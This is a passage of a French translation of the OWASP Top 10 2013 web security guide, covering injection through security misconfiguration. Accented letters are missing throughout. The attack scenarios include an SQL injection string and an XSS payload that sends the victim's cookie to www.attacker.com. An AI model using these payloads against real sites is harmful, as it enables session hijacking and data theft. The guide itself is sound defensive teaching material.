O

Prface

A propos de lOWASP
LOWASP
Open Web Application Security Project (OWASP) est une communaut publique permettant des organismes de dvelopper, acheter et maintenir des applications fiables. A lOWASP, vous trouverez en accs libre et gratuit Des normes et des outils de scurit des applications Des livres complets sur les tests de scurit des applications, le dveloppement de code scuris et laudit de code Des normes de contrles de scurit et des librairies Des Chapitres locaux dans le monde entier De la recherche de pointe Des confrences travers le monde Des listes de diffusion Et bien plus le tout sur www.owasp.org/ Y compris : www.owasp.org/index.php/Top_10 Laccs tous les outils, documents et forums de lOWASP est gratuit et ouvert toute personne intresse par lamlioration de la scurit des applications. Nous prconisons une approche scurit des applications en tant que problme de personnes, de processus et de technologie, parce que les approches les plus efficaces pour la scurit des applications ncessitent des amliorations dans tous ces domaines.

Les logiciels non scuriss sapent nos infrastructures critiques telles la finance, la sant, la dfense, lnergie et autres. Notre infrastructure numrique devenant de plus en plus complexe et interconnecte, la difficult de parvenir une scurit des applications augmente de faon exponentielle. Nous ne pouvons plus nous permettre de tolrer les problmes les plus simples comme ceux prsents dans ce Top 10 OWASP.

Le but de ce projet est de sensibiliser la scurit des applications en identifiant certain des risques les plus critiques rencontrs par les entreprise. Ce top 10 est rfrenc par de nombreuses normes, livres, outils et organisations telles MITRE, PCI DSS, DISA, FTC et bien dautres. Cette version du Top 10 OWASP marque la onzime anne de ce projet de sensibilisation limportance des risques de scurit des applications. La premire publication du Top 10 date de 2003, avec des mises jour mineures en 2004 et 2007. La version 2010 a t rorganise afin de prioriser par risque, et non juste par prdominance. Cette dition 2013 suit la mme approche.
Nous vous encourageons utiliser ce Top 10 pour que votre entreprise entame une dmarche pour la scurit des applications. Les dveloppeurs peuvent apprendre des erreurs des autres. Les dirigeants devraient commencer rflchir sur la faon de grer le risque que les logiciels crent dans leurs entreprises. Sur le long terme, nous vous encourageons crer un programme de scurit des applications compatible avec la culture et la technologie dentreprise. Ces programmes sont de toutes formes et tailles, et vous devez viter de tenter de tout faire en un modle de processus. Au lieu de cela, tirez parti des points forts de votre entreprise et mesurez ce qui fonctionne pour vous. Nous esprons que ce Top 10 est utile vos efforts. N'hsitez pas contacter l'OWASP pour vos questions, commentaires et ides, soit publiquement owasp-topten@lists.owasp.org ou dave.wichers@owasp.org en priv.

LOWASP est une organisation dun nouveau genre. Notre libert vis--vis des pressions commerciales nous permet de fournir une information impartiale, pratique et rentable de la scurit applicative. LOWASP nest lie aucune entreprise technologique, bien que nous soutenions l'utilisation claire de technologies de scurit commerciale. Semblable de nombreux projets logiciels open-source, l'OWASP produit de nombreux types de supports dans un esprit collaboratif et ouvert.
La Fondation OWASP est lentit but non-lucratif qui assure le succs long terme du projet. Presque tous ceux associs OWASP sont volontaires, y compris le Board, les Comits globaux, Chapter Leaders, Chefs de Projets et les Membres. Nous soutenons la recherche de scurit innovante avec des subventions et des infrastructures. Rejoignez nous !

Copyright et Licence
Copyright 2003 2013 The OWASP Foundation Ce document est publi sous licence Creative Commons Attribution ShareAlike 3.0. A chaque rutilisation ou distribution, vous devez en faire clairement apparatre les conditions contractuelles

I
Bienvenue

Introduction

Bienvenue dans cette dition 2013 du Top 10 de lOWASP! Cette nouvelle version introduit deux catgories tendues par rapport la version 2010 afin d'inclure d'importantes vulnrabilits. Elle propose galement une rorganisation des risques, base sur leur prvalence. Enfin, une nouvelle catgorie de risque voit le jour: la scurit des composants tiers. Ces risques, rfrencs sous A6 Mauvaise configuration scurit dans la version 2010, ont dsormais une catgorie ddie. Le Top 10 2013 de l'OWASP est bas sur 8 jeux de donnes de 7 entreprises spcialises dans la scurit des applications, dont 4 socits de conseil et 3 fournisseurs d'outils ou de services SaaS (1 statique, 1 dynamique et 1 statique et dynamique). Ces donnes couvrent plus 500 000 vulnrabilits travers des centaines d'organisations et des milliers d'applications. Les 10 catgories de risques couvertes par le Top 10 sont slectionnes et hirarchises en fonction de leur frquence, de leur exploitabilit, de leur dtectabilit et de leurs impacts potentiels. Lobjectif principal du Top 10 de lOWASP est de sensibiliser les dveloppeurs, concepteurs, architectes, dcideurs, et les entreprises aux consquences des faiblesses les plus importantes inhrentes la scurit des applications web. Le Top 10 fournit des techniques de base pour se protger contre ces domaines problmatiques haut risque et fournit des conseils sur la direction suivre.

Avertissements
Ne vous arrtez pas 10! Il y a des centaines de problmes qui pourraient influer sur la scurit globale dune application web comme indiqu dans le Guide du dveloppeur de lOWASP et la srie des OWASP Cheat Sheets. Ce se sont des lectures essentielles pour quiconque dveloppe des applications web. Des conseils sur la manire de trouver des vulnrabilits dans les applications web sont fournis dans le Guide de Test et le Guide daudit de Code. Changement constant. Ce Top 10 voluera dans le temps. Mme sans modifier une seule ligne de code de votre application, cette dernire peut dj tre vulnrable une attaque laquelle personne na pens auparavant. Veuillez prendre connaissance des conseils la fin de ce document dans les sections relatives aux dveloppeurs, vrificateurs et entreprises pour plus dinformation. Pensez positif! Quand vous serez prt arrter de chasser les vulnrabilits et vous concentrer sur ltablissement de contrles solides de scurit des applications, lOWASP a publi le Standard de Vrification de Scurit Applicative (ASVS) comme guide pour les entreprises et les auditeurs dapplications sur ce quil faut vrifier.

Remerciements
Nos remerciements Aspect Security pour avoir initi, pilot et mis jour le Top 10 de lOWASP depuis sa cration en 2003, et ses principaux auteurs: Jeff Williams et Dave Wichers.

Nous voudrions remercier les entreprises qui ont contribu supporter la mise jour 2013 en fournissant leur donnes sur la frquence des vulnrabilits: Aspect Security HP (rsultats issus des produits Fortify et WebInspect) Minded Security - Statistiques Softtek - Statistiques TrustWave, SpiderLabs Statistiques (voir page 50) Veracode Statistiques WhiteHat Security Inc. Statistiques

Utilisez les outils sagement! Les failles de scurit peuvent tre complexes et enfouies dans le code source. Dans la plupart des cas, lapproche la plus rentable pour trouver et liminer ces faiblesses reste lhumain dot de bons outils.
Allez plus loin! Faites de la scurit une partie intgrante de la culture de votre entreprise. Pour en savoir plus, consultez Open Software Assurance Maturity Model (SAMM) et Rugged Handbook.

Nous tenons galement remercier toutes les personnes ayant contribu aux versions prcdentes du Top 10, sans lesquelles , il ne serait pas ce quil est aujourdhui. Sans oublier ceux ayant contribu par leur contenu significatif ou la relecture de cette version 2013: Adam Baso (Wikimedia Foundation) Mike Boberski (Booz Allen Hamilton) Torsten Gigler Neil Smithline (MorphoTrust USA) pour la version wiki et ses commentaires.

RN

Notes de version

Ce qui a chang de 2010 2013

Le paysage des menaces des applications de scurit volue constamment. Les facteurs cl de cette volution sont les progrs raliss par les attaquants, lmergence de nouvelles technologies avec de nouvelles faiblesses, ainsi que des dfenses plus intgres, et le dploiement de systmes de plus en plus complexes. Pour suivre le rythme, nous mettons priodiquement jour le Top 10 de l'OWASP. Dans cette version 2013, nous avons apport les modifications suivantes: 1) La violation de gestion dauthentification et de session est plus rpandue selon notre chantillon. Nous pensons que cest probablement du au fait que ce domaine est plus tudi, et non du fait de problmes plus rpandus. Les risques A2 et A3 changent donc de place. 2) La falsification de requte intersites (CSRF), prdominance moins rpandue dans notre rfrentiel, rtrograde de 2010-A5 2013-A8. Nous pensons que les entreprises et les dveloppeurs ont significativement rduit le nombre de vulnrabilits CSRF dans leurs applications du fait de sa prsence dans le Top 10 OWASP depuis 6 ans. 3) Nous avons largi le Manque de restriction daccs une URL du Top 10 dOWASP 2010 afin dtre plus complet: + 2010-A8: Manque de restriction daccs une URL est dsormais, 2013-A7: Manque de contrle daccs au niveau fonctionnel pour couvrir tous les contrles daccs au niveau fonctionnel. Il existe de nombreuses manires de dfinir quelle fonctionnalit doit tre accde, pas seulement lURL. Cette nouvelle catgorie a t cre en fusionnant 2010-A7 Stockage cryptographique non scuris & 2010-A9 Protection insuffisante de la couche de transport, en y ajoutant le risque de donnes sensibles au niveau du navigateur. Cette nouvelle catgorie couvre la protection des donnes sensibles (autre que le contrle daccs dj couvert par 2013-A4 et 2013-A7) partir du moment o les donnes sensibles sont fournies par lutilisateur, transmises et stockes dans lapplication, et renvoyes ensuite au navigateur. Ce problme a t mentionn comme faisant partie de 2010-A6 Mauvaise configuration de scurit, mais possde maintenant une catgorie part entire du fait de la croissance rapide du dveloppement base de composants qui a significativement augment le risque dutilisation de composants connus comme vulnrables

4) Nous avons fusionn et largi 2010-A7 et 2010-A9 pour CREER: 2013-A6: Exposition de donnes sensibles.

5) Nous avons ajout: 2013-A9: Utilisation de composants avec des vulnrabilits connues: +

OWASP Top 10 2010 (Prcdent)

A1 Injection A3 Violation de Gestion dauthentification et de Session

OWASP Top 10 2013 (Nouveau)

A1 Injection A2 Violation de Gestion dauthentification et de Session

A2 Cross-Site Scripting (XSS)

A4 Rfrences directes non scurises un objet A6 Mauvaise configuration scurit A7 Stockage cryptographique non scuris Fusionn avec A9 A8 Manque de restriction daccs une URL Elargie dans A5 Falsification de requte intersites (CSRF) <inclus dans A6: Mauvaise configuration scurit> A10 Redirection et Renvois non valids

A3 Cross-Site Scripting (XSS)

A4 Rfrences directes non scurises un objet A5 Mauvaise configuration scurit A6 Exposition de donnes sensibles A7 Manque de contrle daccs au niveau fonctionnel A8 Falsification de requte intersites (CSRF) A9 Utilisation de composants avec des vulnrabilits connues A10 Redirection et Renvois non valids

Risque
Agents de Menace Vecteurs dAttaque
Attaque

Risques de scurit applicatifs

Quels sont les Risques de Scurit des Applications?

Les attaquants peuvent potentiellement utiliser diffrents chemins travers votre application pour porter atteinte votre mtier ou votre entreprise. Chacun de ces chemins reprsente un risque qui peut, ou pas, tre suffisamment grave pour mriter votre attention.
Vulnrabilits Contrles de Scurit
Contrle Bien Attaque Vulnrabilit Contrle Fonction Attaque Vulnrabilit Bien Vulnrabilit Contrle Impact Impact

Impacts Techniques

Impacts Mtier
Impact

Vulnrabilit

Parfois, ces chemins sont faciles trouver et exploiter, et parfois ils sont extrmement difficiles. De mme, le prjudice caus peut navoir aucune consquence, ou faire cesser votre activit. Pour dterminer le risque pour votre entreprise, vous pouvez valuer la probabilit relative chaque agent de menace, vecteur dattaque, et vulnrabilit et les combiner avec une estimation dimpact technique et financier pour votre entreprise. Ensembles, ces facteurs dterminent le risque global.

Quel est Mon Risque?

Le Top 10 OWASP se concentre sur l'identification des risques les plus graves pour un large ventail dentreprises. Pour chacun de ces risques, nous fournissons des informations gnrales sur la probabilit et limpact technique en utilisant le schma dvaluation des risques suivant, qui est bas sur la Mthodologie dvaluation des risques OWASP.
Agent de menace Vecteurs dattaque Facile Spcifique lApplication Moyen Difficile Prvalence de la vulnrabilit Trs rpandue Commune Rare Dtection de la vulnrabilit Facile Moyen Difficile Impact Technique Svre Modr Mineur Spcifiques lApplication ou au Mtier

Rfrences
OWASP
Mthodologie dvaluation des risques OWASP Article sur la modlisation Menace / Risque

Impact Mtier

Externes
Analyse de s risques de linformation FAIR
Modlisation des menaces Microsoft (STRIDE et DREAD)

Vous seul connaissez les caractristiques de votre environnement et de votre mtier. Pour une application donne, il ny a peut-tre pas dagent de menace pouvant raliser un type dattaque, ou il peut ny avoir aucun impact technique. Cest pourquoi vous devez valuer chaque risque pour vous-mme, en vous concentrant sur les agents de menace, contrles de scurit et impacts mtiers relatifs votre votre entreprise. Nous classons les agents de menace comme spcifiques aux applications, et les impacts mtiers comme spcifiques aux applications ou au mtier pour indiquer quils sont clairement dpendants des dtails de lapplication dans votre entreprise. Le nom des risques dans le Top 10 dcoule du type dattaque, du type de faiblesse, ou du type dimpact quil peut causer. Nous choisissons des noms qui refltent les risque de manire prcise, et, quand cela est possible, nous nous alignons sur la terminologie la plus rpandue pour assurer la meilleure sensibilisation.

T10
A1 Injection A2 Violation de Gestion d'Authentification et de Session A3 Cross-Site Scripting (XSS) A4 Rfrences directes non scurises un objet A5 Mauvaise configuration Scurit

OWASP Top 10 2013 Risques Scurit des Applications

Une faille d'injection, telle l'injection SQL, OS et LDAP, se produit quand une donne non fiable est envoye un interprteur en tant qu'lment d'une commande ou d'une requte. Les donnes hostiles de l'attaquant peuvent duper l'interprteur afin de l'amener excuter des commandes fortuites ou accder des donnes non autorises. Les fonctions applicatives relatives l'authentification et la gestion de session ne sont souvent pas mises en uvre correctement, permettant aux attaquants de compromettre les mots de passe, cls, jetons de session, ou d'exploiter d'autres failles d'implmentation pour s'approprier les identits d'autres utilisateurs.

Les failles XSS se produisent chaque fois qu'une application accepte des donnes non fiables et les envoie un browser web sans validation approprie. XSS permet des attaquants d'excuter du script dans le navigateur de la victime afin de dtourner des sessions utilisateur, dfigurer des sites web, ou rediriger l'utilisateur vers des sites malveillants.
Une rfrence directe un objet se produit quand un dveloppeur expose une rfrence un objet d'excution interne, tel un fichier, un dossier, un enregistrement de base de donnes ou une cl de base de donnes. Sans un contrle d'accs ou autre protection, les attaquants peuvent manipuler ces rfrences pour accder des donnes non autorises. Une bonne scurit ncessite de disposer d'une configuration scurise dfinie et dploye pour l'application, contextes, serveur d'application, serveur web, serveur de base de donnes et la plate-forme. Tous ces paramtres doivent tre dfinis, mis en uvre et maintenus, car beaucoup ne sont pas livrs scuriss par dfaut. Cela implique de tenir tous les logiciels jour.

A6 Exposition de donnes sensibles

Beaucoup d'applications web ne protgent pas correctement les donnes sensibles telles que les cartes de crdit, identifiants d'impt et informations d'authentification. Les pirates peuvent voler ou modifier ces donnes faiblement protges pour effectuer un vol d'identit, de la fraude la carte de crdit ou autres crimes. Les donnes sensibles mritent une protection supplmentaire tel un chiffrement statique ou en transit, ainsi que des prcautions particulires lors de l'change avec le navigateur.
Pratiquement toutes les applications web vrifient les droits d'accs au niveau fonctionnel avant de rendre cette fonctionnalit visible dans l'interface utilisateur. Cependant, les applications doivent effectuer les mmes vrifications de contrle d'accs sur le serveur lors de l'accs chaque fonction. Si les demandes ne sont pas vrifies, les attaquants seront en mesure de forger des demandes afin d'accder une fonctionnalit non autorise. Une attaque CSRF (Cross Site Request Forgery) force le navigateur d'une victime authentifie envoyer une requte HTTP forge, comprenant le cookie de session de la victime ainsi que toute autre information automatiquement inclue, une application web vulnrable. Ceci permet l'attaquant de forcer le navigateur de la victime gnrer des requtes dont l'application vulnrable pense qu'elles manent lgitimement de la victime. Les composants vulnrables, tels que bibliothques, contextes et autres modules logiciels fonctionnent presque toujours avec des privilges maximum. Ainsi, si exploits, ils peuvent causer des pertes de donnes srieuses ou une prise de contrle du serveur. Les applications utilisant ces composants vulnrables peuvent compromettre leurs dfenses et permettre une srie d'attaques et d'impacts potentiels. Les applications web rorientent et redirigent frquemment les utilisateurs vers d'autres pages et sites internet, et utilisent des donnes non fiables pour dterminer les pages de destination. Sans validation approprie, les attaquants peuvent rorienter les victimes vers des sites de phishing ou de malware, ou utiliser les renvois pour accder des pages non autorises.

A7 Manque de contrle daccs au niveau fonctionnel A8 - Falsification de requte intersite (CSRF) A9 - Utilisation de composants avec des vulnrabilits connues A10 Redirections et renvois non valids

A1
Agents de menace

Injection
Vecteurs dattaque Vulnrabilit Impacts Technique Impacts Mtier

Spcifique Application Considrez que nimporte qui peut envoyer des donnes non fiables au systme, y compris les utilisateurs externes, internes, et administrateurs.

Exploitabilit FACILE Lattaquant utilise des scripts qui exploitent la syntaxe dun interprteur cible. Presque toute source de donnes peut tre un vecteur dinjection, y compris des sources internes.

Prvalence COMMUNE

Dtection MOYENNE

Impact SEVERE LInjection peut rsulter en une perte ou une corruption de donnes, une perte de droits, ou un refus daccs. LInjection peut parfois mener une prise de contrle totale du serveur.

Spcifique Application/Mtier Considrez la valeur mtier de la donne impacte et la plateforme excutant linterprteur. Toute donne pourrait tre vole, modifie ou supprime. Votre rputation pourraitelle en ptir?

Les failles dInjection surviennent quand une application envoie des donnes non fiable un interprteur. Les failles dinjection sont trs frquentes, surtout dans un code ancien. On les retrouve souvent en SQL, LDAP, XPath, ou NoSQL; commandes OS; parseurs XML; enttes SMTP, arguments de programme, etc. Les failles dInjection se dtectent facilement via le code, difficilement via le test. Scanners et Fuzzers peuvent aider les attaquants trouver les failles dInjection.

Suis-je vulnrable?
Le meilleur moyen de savoir si une application est vulnrable lInjection est de vrifier que toute utilisation dinterprteurs spare explicitement les donnes non fiables de la commande ou de la requte. Pour les appels SQL, cela signifie utiliser des variables lies dans toutes les instructions prpares et procdures stockes, et viter les requtes dynamiques. Vrifier le code est un moyen rapide et adquat pour sassurer que lapplication utilise sainement les interprteurs. Les outils danalyse de code peuvent aider localiser lusage des interprteurs et tracer leur flux de donnes travers lapplication. Les Pentesters peuvent valider ces problmes en concevant des exploits qui confirment la vulnrabilit. Le scan dynamique peut donner un aperu des failles dInjection existantes. Les scanners ne savent pas toujours atteindre les interprteurs, ni si une attaque a russi. Une mauvaise gestion derreur aide trouver les failles.

Comment sen prmunir?

Empcher une Injection exige de sparer les donnes non fiables des commandes et requtes. 1. La meilleure option est dutiliser une API saine vitant toute utilisation de linterprteur ou fournissant une interface paramtrable. Attention aux APIs telles que les procdures stockes qui, bien que paramtrables, peuvent envelopper une Injection. En labsence dAPI paramtrable, vous devriez soigneusement chapper les caractres spciaux en utilisant la syntaxe dchappement spcifique linterprteur. OWASPs ESAPI fournit des routines dchappement. La whitelist est recommande pour valider les donnes entrantes, mais nest pas une dfense complte, plusieurs applications requrant des caractres spciaux; le cas chant, seules les approches 1. et 2. scurisent. OWASPs ESAPI a une librairie extensible de routines de validation whitelist dentres.

2.

3.

Exemple de scnarios dattaque

Scnario #1: Une application utilise des donnes non fiables dans la construction de lappel SQL vulnrable suivant: String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") +"'"; Scnario #2: Pareillement, la confiance aveugle dune application aux frameworks peut dboucher sur des requtes toujours vulnrables (p.ex. Hibernate Query Language (HQL)): Query HQLQuery = session.createQuery(FROM accounts WHERE custID=' + request.getParameter("id") + "'"); Dans les deux cas, lattaquant modifie le paramtre id dans son navigateur et envoie: ' or '1'='1. Par exemple: http://example.com/app/accountView?id=' or '1'='1 Le sens des deux requtes est modifi pour retourner toutes les lignes de la table accounts. Les pires attaques peuvent altrer des donnes, voire invoquer des procdures stockes.

Rfrences
OWASP
OWASP SQL Injection Prevention Cheat Sheet OWASP Query Parameterization Cheat Sheet OWASP Command Injection Article OWASP XML eXternal Entity (XXE) Reference Article ASVS: Output Encoding/Escaping Requirements (V6) OWASP Testing Guide: Chapter on SQL Injection Testing

Externes
CWE Entry 77 on Command Injection CWE Entry 89 on SQL Injection CWE Entry 564 on Hibernate Injection

A2
Agents de menace

Violation de Gestion dAuthentification et de Session

Vecteurs dAttaque Vulnrabilit Impacts Techniques Impacts Mtier

Spcifique Application Considrez des attaquants externes anonymes, aussi bien que des utilisateurs lgitimes essayant de voler des comptes tiers. Considrez aussi les utilisateurs internes voulant camoufler leurs actes.

Exploitabilit MOYENNE L'attaquant exploite des fuites/failles dans les fonctions de gestion de sessions et d'authentification (e.g. comptes, mots de passe, IDs de session) pour usurper lidentit des utilisateurs.

Prvalence RPANDUE

Dtection MOYENNE

Impact GRAVE De telles failles permettraient la compromission dune partie voir de tous les comptes. Une fois effectue, l'attaquant peut faire tout ce que la victime peut. Les comptes privilges sont souvent cibls.

Spcifique Application/Mtier Considrer la valeur Mtier des donnes ou des fonctions applicatives affectes. Considrez aussi l'impact commercial d une mdiatisation de la vulnrabilit.

Dvelopper correctement un systme d'authentification ou de gestion de sessions est difficile. En consquence, ces schmas personnaliss ont souvent des failles dans des domaines tels la dconnexion, la gestion de mots de passe, l'expiration de session, la fonction "se souvenir de moi", la question secrte, la mise jour de compte, etc. Trouver de telles failles s'avre parfois difficile, chaque implmentation tant unique.

Suis-je vulnrable?
Les actifs de gestion de session comme les credentials et les IDs sont-ils correctement protgs? Vous tes vulnrables si: 1. Dfaut de protection des credentials par hash ou chiffrement lors de leur stockage. Voir A6. 2. Faiblesse des fonctions de gestion de compte (ex: cration de compte, changement de mot de passe, rcupration de mot de passe, IDs de session faibles) permettant de deviner ou dcraser les credentials. 3. Exposition des IDs de session dans l'URL. (ex: rcriture) 4. Vulnrabilit des IDs de session lattaque par fixation. 5. Pas de timeout des IDs de session ou mauvaise dsactivation des sessions ou jetons dauthentification, en particulier SSO lors de la dconnexion. 6. Non rotation des IDs de session aprs connexion russie. 7. Les mots de passe, IDs de session et autres credentials transitent par des canaux non chiffrs. Voir A6. Veuillez consulter les sections V2 et V3 de l'exigence ASVS pour plus de dtails.

Comment sen prmunir?

La recommandation premire pour une entreprise est de rendre accessible aux dveloppeurs: 1. Un ensemble unique de contrles d'authentification et de gestion de sessions. Ces contrles doivent veiller : a) satisfaire aux exigences de vrification d'authentification (V2) et de gestion de session (V3) dfinies dans le Standard de Vrification de la Scurit des Applications (ASVS)

b) proposer une interface simple aux dveloppeurs. Prendre comme exemple linterface ESAPI Authenticator et ses APIs utilisateur. 2. Un effort particulier doit tre accord la prvention des failles XSS, susceptibles d'tre utilises pour voler des identifiants de session. Voir A3.

Exemple de scnarios dattaque

Scnario #1: Une application de rservation de billets d'avion expose les identifiants de session dans l'URL par rcriture: http://example.com/sale/saleitems;jsessionid= 2P0OC2JSNDLPSKHCJUN2JV?dest=Hawaii Un utilisateur authentifi sur le site veut informer ses amis de la vente. Il envoie le lien ci-dessus sans savoir qu'il fournit aussi son ID de session. En cliquant sur le lien, ses amis utiliseront sa session et sa carte de crdit. Scnario #2: Les timeouts de l'application ne sont pas dfinies correctement. Un utilisateur accde au site via un ordinateur public. Au lieu de slectionner "dconnexion", l'utilisateur ferme simplement le navigateur et s'en va. Un attaquant utilise le mme navigateur une heure plus tard, et ce navigateur est encore authentifi. Scnario #3: Un attaquant interne ou externe obtient un accs la base des mots de passe du systme. Les mots de passe ne sont pas correctement chiffrs, exposant les mots de passe de tous les utilisateurs lattaquant.

Rfrences
OWASP
Pour plus de dtails sur les exigences et les problmes viter dans ce domaine, voir les exigences de vrification ASVS pour lAuthentification (V2) et la Gestion de Sessions (V3). OWASP Authentication Cheat Sheet OWASP Forgot Password Cheat Sheet OWASP Session Management Cheat Sheet

OWASP Development Guide: Chapter on Authentication

OWASP Testing Guide: Chapter on Authentication

Externes
CWE Entry 287 on Improper Authentication CWE Entry 384 on Session Fixation

A3
Agents de menace

Cross-Site Scripting (XSS)

Vecteurs dattaque Vulnrabilit Impacts Techniques Impacts Mtier

Spcifique Application Considrez quelquun pouvant transmettre des donnes non fiable au systme, y compris utilisateurs externes, internes et adminstrateurs.

Exploitabilit MOYENNE Lattaquant envoie des scripts qui exploitent linterprteur dans le navigateur. Toute source de donne peut tre un vecteur dattaque y compris des sources internes telles que les donnes dune base interne.

Prvalence TRES REPANDUE

Dtection FACILE

Impact MODR Lattaquant peut excuter des scripts dans le navigateur de la victime pour dtourner des sessions, dfigurer des sites, insrer du contenu hostile, rediriger lutilisateur vers un site malveillant, etc.

Spcifique Application/Mtier Considrez la valeur mtier du systme concern ainsi que lensemble des donnes quil traite. Considrez galement l'impact commercial dune exposition publique de la vulnrabilit.

XSS est la faille la plus rpandue dans les application web. Les failles XSS ont lieu lorsquune application inclut des donnes fournies par lutilisateur dans une page envoye au navigateur, sans validation ou chappement correct de ce contenu. il en existe trois types connus: 1)Stocke, 2)Rflchie, et 3) XSS base sur DOM.

La dtection de la plupart des failles XSS est assez simple par test ou analyse de code.

Suis-je vulnrable?
Vous tes vulnrable si vous ne vous assurez pas que toute donne transmise est correctement chappe ou quune validation a t ralise pour en contrler la fiabilit, ceci avant dtre incluse dans la page retourne au navigateur. Sans chappement ou validation adquate, une telle donne sera interprte comme du contenu excutable par le navigateur. Si AJAX est utilis pour mettre--jour dynamiquement la page, utilisez-vous safe JavaScript ? Les outils automatiss peuvent identifier des failles XSS. Cependant, chaque application sa mthode de construction des pages et diffrents interprteurs peuvent tre utiliss sur le navigateur tel que JavaScript, ActiveX, Flash ou Silverlight, ce qui rend la dtection automatique dlicate. Une couverture complte ncessite ainsi une revue de code et des tests de pntration en plus de loutil automatis. Les technologies web 2.0 telles que AJAX rendent les failles XSS plus difficiles dtecter via les outils automatiss.

Comment sen prmunir?

La protection contre XSS requiert une gestion des donnes non fiables spare du contenu du navigateur actif. 1. Loption privilgier est dchapper toute donne non fiable selon le contexte HTML dans lequel elle sera insre (corps, attribut, javascript, CSS ou URL, etc.). Voir OWASP XSS Prevention Cheat Sheet pour plus dinformations sur les techniques dchappement. La validation positive des entres est recommande mais ne constitue pas une protection suffisante en raison des diffrentes manires dont les applications traitent leur contenu. Une validation complte devra contrler la longueur, les caractres, le format et les rgles mtiers. Pour les donnes complexes, considrez la libraire OWASPs AntiSamy ou le Java HTML Sanitizer Project. Considrez Content Security Policy (CSP) pour se protger des attaques XSS sur lensemble de votre site.

2.

3. 4.

Exemple de scnario dattaque

Lapplication utilise des donnes non fiables dans la construction du fragment HTML sans lavoir valide ou chappe au pralable : (String) page += "<input name='creditcard' type='TEXT value='" + request.getParameter("CC") + "'>"; Lattaquant modifie le paramtre CC dans leur navigateur pour: '><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'. Cela provoque l'envoi de l'ID de session de la victime au site web de l'attaquant, permettant l'attaquant de dtourner la session en cours de l'utilisateur. A noter que les attaquants peuvent aussi utiliser XSS pour tromper les contremesures mises en place pour se protger des attaques CSRF. Voir A8 pour plus dinformations sur CSRF.

Rfrences
OWASP
OWASP XSS Prevention Cheat Sheet OWASP DOM based XSS Prevention Cheat Sheet OWASP Cross-Site Scripting Article ESAPI Encoder API ASVS: Output Encoding/Escaping Requirements (V6) OWASP AntiSamy: Sanitization Library

Testing Guide: 1st 3 Chapters on Data Validation Testing

OWASP Code Review Guide: Chapter on XSS Review OWASP XSS Filter Evasion Cheat Sheet

Externes
CWE Entry 79 on Cross-Site Scripting

A4
Agents de menace

Rfrences directes non scurises un objet

Vecteurs dattaque Vulnrabilit Impacts Techniques Impacts Mtier

Spcifique Application Considrez les diffrents types dutilisateurs de votre systme. Certains dentre eux ont-ils un accs limit aux donnes en fonction de leur nature ?

Exploitabilit FACILE L'attaquant, un utilisateur lgitime, substitue la valeur d'un paramtre faisant rfrence un objet, par une rfrence un autre objet qui lui est interdit. Aura-t-il accs cette ressource ?

Prvalence COMMUNE

Dtection FACILE

Impact MODR Toutes les donnes rfrences par le paramtre vulnrable sont concernes. Sauf si des rfrences non prdictibles sont utilises, il est facile pour l'attaquant d'accder toutes les ressources.

Spcifique Application/Mtier Considrez la valeur marchande des donnes exposes. Considrez galement limpact li la divulgation de la vulnrabilit au grand public.

Les applications incluent souvent les identifiants techniques des objets au sein des pages gnres (nom, cl, etc.). La vrification des autorisations de l'utilisateur avant accs aux objets nest pas systmatique. On parle dans ce cas de rfrences directes non scurises. Il est facile de dtecter cette vulnrabilit en modifiant la valeur des paramtres lors de tests. Lanalyse rapide du code peut aussi dmontrer labsence de vrification.

Suis-je vulnrable ?
Le meilleur moyen de dterminer si une application est vulnrable aux rfrences directes non scurises est de vrifier que toutes les rfrences vers un objet disposent des dfenses adaptes. Pour cela : 1. Pour les rfrences directes des ressources protges, lapplication choue-t-elle vrifier que lutilisateur est bien autoris accder la ressource demande ? 2. Pour les rfrences indirectes, lassociation vers la rfrence directe stend-elle au-del des seules valeurs autorises lutilisateur en question ? Lanalyse du code applicatif permet de rapidement vrifier que lune ou lautre des techniques est bien employe. La ralisation de tests est galement efficace pour identifier les rfrences directes et valuer leur scurit. Les outils automatiss ne cherchent pas identifier de telles vulnrabilits puisquils sont incapables de reconnatre ce qui requiert une protection, ni mme ce qui est scuris ou non.

Comment sen prmunir?

Afin dviter les rfrences directes non scurises il convient de suivre une approche permettant de protger chaque objet mis disposition des utilisateurs (ex : nom de fichier, etc.) : 1. Implmenter des rfrences indirectes, par utilisateur ou par session. Cela empche lattaquant de cibler les ressources interdites. Par exemple, au lieu dutiliser la cl de lobjet en base de donnes, une liste droulante de six objets autoriss pour lutilisateur pourrait sappuyer sur les chiffres 1 6 pour indiquer la valeur choisie. Lapplication doit associer la rfrence indirecte par utilisateur la valeur relle de la cl sur le serveur. La librairie ESAPI de lOWASP propose des mthodes facilitant limplmentation des rfrences indirectes. Contrler laccs. Chaque sollicitation dune rfrence directe par une entit non fiable doit inclure un contrle daccs permettant de sassurer que lutilisateur en question est bien autoris accder lobjet demand.

2.

Exemple de scnario dattaque

Lapplication utilise une valeur non vrifie dans une requte SQL accdant des informations dun compte : String query = "SELECT * FROM accts WHERE account = ?"; PreparedStatement pstmt = connection.prepareStatement(query , ); pstmt.setString( 1, request.getParameter("acct")); ResultSet results = pstmt.executeQuery( ); Lattaquant modifie le paramtre acct dans son navigateur afin denvoyer le numro de compte quil souhaite. Si le paramtre nest pas correctement vrifi, lattaquant peut accder nimporte quel compte, au lieu dtre limit au sien. http://example.com/app/accountInfo?acct=notmyacct

Rfrences
OWASP
OWASP Top 10-2007 on Insecure Dir Object References ESAPI Access Reference Map API ESAPI Access Control API (voir isAuthorizedForData(), isAuthorizedForFile(), isAuthorizedForFunction() ) Pour une liste de contrles additionnels, consultez le guide ASVS requirements area for Access Control (V4).

Externes
CWE Entry 639 on Insecure Direct Object References CWE Entry 22 on Path Traversal (qui est un exemple dattaque sur des rfrences directes non scurises)

A5
Agents de menace

Mauvaise configuration Scurit

Vecteurs dattaque Vulnrabilit Impacts Techniques Impacts Mtier

Spcifique Application Considrez des attaquants externes anonymes, ou des utilisateurs lgitimes peuvent tenter de compromettre le systme. Considrez aussi des internes voulant dissimuler leurs actes.

Exploitabilit SIMPLE Attaquant accdant des comptes par dfaut, pages non utilises, vulnrabilits non corriges, fichiers et rpertoires non protgs, etc. Afin dobtenir des accs non autoriss ou des informations sur le systme.

Prvalence COMMUNE

Dtectabilit FACILE

Impact MODERE Cette vulnrabilit donne souvent aux attaquants des accs non autoriss des systmes ou des fonctionnalits. Occasionnellement, ces vulnrabilits entrainent une compromission complte du systme.

